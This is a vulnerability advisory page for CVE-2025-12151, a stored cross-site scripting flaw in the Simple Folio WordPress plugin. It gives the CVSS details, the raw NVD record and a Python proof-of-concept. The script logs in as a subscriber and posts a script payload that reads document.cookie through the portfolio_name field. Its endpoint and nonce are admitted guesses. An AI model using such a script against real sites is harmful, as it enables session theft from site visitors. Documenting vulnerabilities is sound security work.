Security Vulnerability Report
中文
CVE-2025-12151 CVSS 6.4 MEDIUM

CVE-2025-12151

Published: 2025-11-27 05:16:09
Last Modified: 2026-04-15 00:35:42

Description

The Simple Folio plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'portfolio_name' parameter in all versions up to, and including, 1.1.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Simple Folio插件 <= 1.1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # Target WordPress site target_url = "http://target-wordpress-site.com" # Authentication credentials (Subscriber-level or higher) username = "attacker" password = "attacker_password" # XSS payload xss_payload = '<script>alert(document.cookie)</script>' def exploit_stored_xss(): """ This PoC demonstrates the Stored XSS vulnerability in Simple Folio plugin. The vulnerability allows authenticated users to inject arbitrary JavaScript via the portfolio_name parameter, which is then stored and executed when other users view the affected page. """ session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/" } login_response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful") # Step 2: Create portfolio with XSS payload in portfolio_name # Note: The actual endpoint may vary depending on plugin version create_url = f"{target_url}/wp-admin/admin-ajax.php" # This is a generic example - actual exploitation requires # identifying the correct AJAX action and parameters create_data = { 'action': 'simple_folio_save_portfolio', 'portfolio_name': xss_payload, 'nonce': 'your_nonce_here' # May need to obtain valid nonce } response = session.post(create_url, data=create_data) print(f"[*] Payload sent: {xss_payload}") print(f"[*] Response: {response.text}") # Step 3: When any user visits the portfolio page, the XSS will execute print("[!] XSS payload has been stored. Any user viewing the portfolio page will trigger the alert.") return True if __name__ == "__main__": exploit_stored_xss()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12151", "sourceIdentifier": "[email protected]", "published": "2025-11-27T05:16:08.650", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Simple Folio plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'portfolio_name' parameter in all versions up to, and including, 1.1.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3401878%40simple-folio&new=3401878%40simple-folio&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5c7b9827-59a7-4a8f-88d5-0b27c3ea2925?source=cve", "source": "[email protected]"}]}}